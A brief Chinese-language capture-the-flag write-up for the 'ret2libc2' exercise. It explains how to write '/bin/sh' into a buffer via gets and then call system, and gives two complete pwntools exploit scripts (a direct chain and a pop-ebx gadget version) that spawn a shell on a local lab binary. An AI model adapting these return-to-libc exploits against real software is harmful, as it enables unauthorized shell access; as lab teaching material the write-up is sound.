retlibc 2
retlibc 2
分析
这道题和第一个ret2libc
唯一的区别就是没有/bin/sh
从上一道题的知识可以构造出以下模板
由于我们插入了一段gets
,所以我们需要在发送完打入gets
的payload后另外写入gets
的内容
exp
from pwn import *
p = process('./ret2libc2')
elf = ELF('./ret2libc2')
sys_plt_addr = elf.plt["system"]
gets_plt_addr = elf.plt["gets"]
buf2_addr = elf.symbols["buf2"]
payload = b'A'*112 + p32(gets_plt_addr) + p32(sys_plt_addr) + p32(buf2_addr) +p32(buf2_addr)
p.recvuntil("?")
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()
更通用的方法
下面介绍一种更加通用的方法,就是使用完函数的调用参数后清理栈空间保证栈平衡
这里选择pop ebx ; ret
进行清理
将栈中的值清理到ebx
寄存器中
exp2
from pwn import *
p = process('./ret2libc2')
elf = ELF('./ret2libc2')
sys_addr = elf.plt['system']
gets_plt_addr = elf.plt['gets']
buf2_addr = elf.symbols['buf2']
pop_ret_addr = 0x0804843d
payload = b'A'*112 + p32(gets_plt_addr) + p32(pop_ret_addr) + p32(buf2_addr)+ p32(sys_addr) + p32(pop_ret_addr) + p32(buf2_addr)
p.recvuntil('?')
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()